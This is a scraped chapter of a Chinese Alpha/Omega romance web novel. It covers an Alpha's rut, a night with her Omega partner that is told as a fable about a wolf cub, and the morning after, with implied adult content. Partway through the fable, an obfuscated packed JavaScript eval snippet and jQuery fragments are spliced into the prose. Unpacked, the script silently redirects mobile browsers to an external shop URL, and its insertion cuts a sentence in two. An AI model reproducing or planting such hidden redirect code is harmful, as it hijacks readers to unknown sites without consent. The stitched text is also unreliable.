文趣网 > 其他小说 > 老板他心地善良[gb] > 37. 寓言故事
    辛谷雨早该知道有问题。

    从吃饭的时候,她的状态就不对劲了。即使经常吃周严节做的饭,把嘴养刁了,也不可能胃口比平时小一半。但她当时还以为是之前跟周严节争执时候被气饱了,根本不在意。

    直到半夜热潮涌上身体。

    不过辛谷雨没有第一时间往易感期的方面去想,她打开洗手台的水龙头,往自己脸上泼水。

    Alpha在易感期会出现发热、头晕、心跳加快的症状,如果是易感周期不稳定和初次经历易感的Alpha,很容易把上述症状与发热感冒联系起来。

    辛谷雨看着镜子里的自己,手摸上自己的额头。

    有点烫。辛谷雨把手放下来,眼前忽然恍惚了一下。她赶紧撑住洗手台,等这一段晕眩过去。

    视线自然下落,于是辛谷雨看到了某个东西。

    “碰!”

    她打开卫生间门,匆匆走向门口,想要回到原本的房间去拿抑制剂。

    站在门口的周严节不明所以地拉住她手腕,“谷雨,你怎么了,你还好吗?”

    不好。一点也不好。整个喉咙都像被火烧着,头脑发胀,牙也发痒。

    她舔了舔干渴的嘴唇,跟周严节解释:“我易感期到了,我得去拿抑制剂。”

    说完她就想离开,周严节现在还没释放信息素,易感期的Alpha要是闻到Omega的信息素就会直接进入发情状态,到时候辛谷雨就不知道自己又会做什么了。

    为了避免像上次治疗那样的“惨案”发生,她必须现在、立刻、马上,把抑制剂打了。

    但显然,在这个房间里,有人意见与她相左。

    Omega的信息素被释放出来,环绕在辛谷雨鼻间,每个呼吸都能感知到周严节邀请的态度。

    辛谷雨回头怔怔地看着周严节。

    “为什么要抑制剂呢,谷雨?”周严节微笑,“你不是有我吗?”

    空气安静了两秒,然后辛谷雨发出坚决的抗议。

    “不行不行!绝对不行!”辛谷雨非常激动,“我绝对会弄伤你的,我不同意,绝对不行!”

    周严节抿了抿嘴,神情有些无奈。

    他实在不知道辛谷雨哪里来的底气那么确信她会弄伤自己。按照他判断,辛谷雨可谓完全没有经验,他甚至怀疑辛谷雨找不找得到位置。

    但他不想打击辛谷雨盲目的自信,把难言的表情收回去,好声好气道:“谷雨,其实我觉得......”

    “不行!不行!”辛谷雨反抗的很激烈。她的思绪附着在Omega淡淡的信息素,黏在一起分不开,完全沉浸在自己的世界,坚信她一定会弄伤周严节。

    周严节握着她手不让她离开,辛谷雨一个着急,一个用力,却不知道怎么的,不仅没有甩开周严节,反而把他拽到了怀里。

    “我......”辛谷雨露出不知所措的表情,“......奇怪,我怎么没有甩开?”

    周严节突然被拽一下,差点没站稳摔到辛谷雨身上,他扶住墙稳定身形,开玩笑道:“诶,谷雨啊,就算心急也不能在门口就开始吧,去床上多温暖多舒适。”

    辛谷雨任然固执地拒绝,只是一味地低声喃喃着“不行”。

    见辛谷雨如此抗拒,周严节也不想勉强她。他还以为所有Alpha对这种事情都很期待呢。

    “好吧,我还以为你会很喜欢呢。”周严节走向门口给辛谷雨开门,结果走了两步走不动了。

    他低头看去。

    不知道什么时候,从他握着辛谷雨的手腕,变成了辛谷雨抓着他的手腕。

    辛谷雨抓的可比周严节死多了,他想抽都抽不开。

    周严节晃了晃手腕,“松开吧,你不是要去拿抑制剂吗?”

    手腕被抓的更紧了。

    周严节的疑惑还没问出口,辛谷雨的眼泪就下来了。

    ——Alpha易感期除了发热头晕,还伴随敏感易怒的特征。

    “你要去哪里?你又要离开我吗?”辛谷雨道。

    “不,谷雨,我没有......”周严节有点没反应过来,“你不是要打抑制剂吗,我帮你顺手开个门。”

    可辛谷雨像沉浸在了自己的逻辑里,她几乎指责般对周严节道:“你总是这样,前脚刚答应我说要和我在一起,后脚就反悔,就想抛弃我。”

    大概伤心极了,辛谷雨一手摸起了眼泪,另一只手还像岩石一般,死死锢住周严节的手腕,不让他离开半步。

    “我......很经常这么做吗?”周严节问道。

    他好像就答应过和她在一起一次吧?而且他并没有总想抛弃辛谷雨啊。反倒是辛谷雨,一旦有什么没磨合好的地方就想走,离职意愿比他强多了。

    “我现在好难受......”辛谷雨又起了新的话题,湿漉漉的眼睛看向周严节。

    房间太黑,周严节看不清辛谷雨脸上的神情,只能看到她透着两个亮点的眼睛。

    而那并不是泪水的反光。

    周严节发出了然的声音,随即忍不住笑起来。

    他把辛谷雨推到床上,这时候辛谷雨抓着他手腕的手也松开了。他欺身压上去。

    “诶呀,谷雨,我知道了。”周严节弯起眼睛,笑眯眯道,“怪哥哥没了解你的喜好。原来你不喜欢软的,喜欢硬的。”

    他低头看着辛谷雨,她眼角还挂着泪,眼睛却亮得发光,“那我就配合你一下,好吧?”

    *

    从前有个小狼。

    小狼从小被部落抛弃,身为幼崽,没有捕食能力。就在小狼将将要饿死在冰天雪地里的时候,一个善良的男人把小狼捡回了家。

    男人好心拿来鸡胸肉喂给小狼。小狼太小,乳牙嘬咬着鸡胸肉,留下一个又一个齿痕。

    后来小狼长大,精力无限,喜欢扑咬男人养的鸡的屁股。牙齿磕疼了,男人赶紧拉开小狼,教育小狼要收着牙。

    小狼可怜兮兮地呜呜两声,表达自己的歉意。

    看着小狼可爱可怜的样子,男人顿时不计较。他让小狼快快长大,自己则忙着扩建自己的农场。

    农场扩建好了,男人便让小狼进来玩玩。

    小狼很谨慎,尝试了好几次才进去。男人摸着小狼头,夸小狼是个好孩子。

    小狼行在男人身侧,不紧不慢跟随男人的步行节奏。突然,小狼的鼻头碰到了什么环装东西。

    “哦,这是项圈。”男人介绍。

    他蹲下来,把项圈举到小狼面前,问:“你想钻进去吗?”

    小狼非常想,甚至等不及男人的命令,直接一个猛子扎进去。

    项圈根本没时间调整,小狼的头卡在项圈里。男人还想阻止小狼,可小狼根本不听他的。

    小狼一门心思想要完全钻进这个项圈,小狼是个聪明的小狼,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775541|209277||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    从不同角度不断磨蹭项圈,终于把项圈稍微撑大了一点,整个狼头套了进去。

    小狼非常开心,甩了甩头,拱着旁边的男人。男人刚刚被小狼的冲撞带倒了,一时间起不来。

    过了好久,他才撑起身体,结果又被扑倒。小狼伏在他身上,叼着他的后颈。

    小狼已经长大了,整个人又重又沉,男人被撞得失了神。他躺在地上,想着要不要给这个小崽子几拳让她安分一点。

    小狼兴许是察觉到了他的不适,呜呜着把狼嘴子凑到他脸旁,圆圆的浅琥珀色眼睛眨了又眨。

    男人把视线移开,拍了拍这个狼崽子的肩膀。

    算了。他想。就饶过这小崽子一次,她还小。

    于是小狼在男人的溺爱下,套着项圈撒野,足足和男人玩了一整个晚上。

    *

    辛谷雨第二天睁开眼,看到一片狼藉。两个人的衣服都被扔到地上,床上有大面积的深色痕迹。

    周严节背对着她睡得很沉,上衣不翼而飞,取而代之的是后背上密密麻麻的红痕。

    看起来像人嘬的。

    或者说,看起来像她干的。

    辛谷雨如同晴天霹雳一样坐在床上,试图回忆起昨晚自己到底干了什么,诡异的是,她像喝醉断了片,什么都想不起来。

    只有几个可以确定的,一、她没给周严节做清洁。二、她把周严节折腾惨了。

    折腾的部分辛谷雨补救不了,她又不能时间回溯给自己扎上一针。只能先给周严节做好清洁。

    她小心翼翼地把周严节打横抱起,他竟然没有被这样大幅度的动作整醒。

    看了自己昨天真的折腾很狠啊,辛谷雨心虚地想。

    男人睡得温热的躯体贴在她怀里,脖颈靠在她肩膀上。辛谷雨神使鬼差地低头闻了闻。

    淡淡的Omega信息素......还有属于她这个Alpha的味道。

    属于她的味道。

    辛谷雨呼吸加重了,她把头埋到周严节的脖颈,穿过他胸口托着他,疯狂嗅闻。

    如果她真的是头小狼的话,现在她的蓬松的尾巴就要高高翘起了。

    她给浴缸放了热水,等水快满了,才依依不舍地把周严节放进浴缸,为他清洗身体。

    刚刚看周严节背面只觉得有点严重,现在看到他正面,更觉惨不忍睹。

    于是周严节睁开眼后,就看到辛谷雨满脸心疼地盯着他的身体。

    如果忽略掉她手指头的位置,整个画面看起来还是很温馨的。

    “你......咳咳。”

    好嘛,连嗓子都哑了。

    周严节无言地看着辛谷雨,女孩扒在浴缸边缘,道:“对不起,哥,我昨天太过火了。我先给你清理一下身体。”

    “我真没想这么折腾你,我昨天应该是完全失去理智了。”辛谷雨又补充道。

    周严节捏了捏眉间,肯定她的话,“嗯,我也这样觉得。”

    他疲惫地靠在浴缸边上,“没想到我还活着。有些坚强了。”

    “哥......”辛谷雨可怜巴巴地望着他。神情简直和昨天晚上那个疯疯的小崽子差不多像。

    周严节放下手臂,摸上她后颈,按着她给一个深深的吻。

    “好了,怎么可能怪你。”男人把头发撩上去,笑的自在,“进来和哥哥我一起洗,这事就消掉了。”

    “哥!”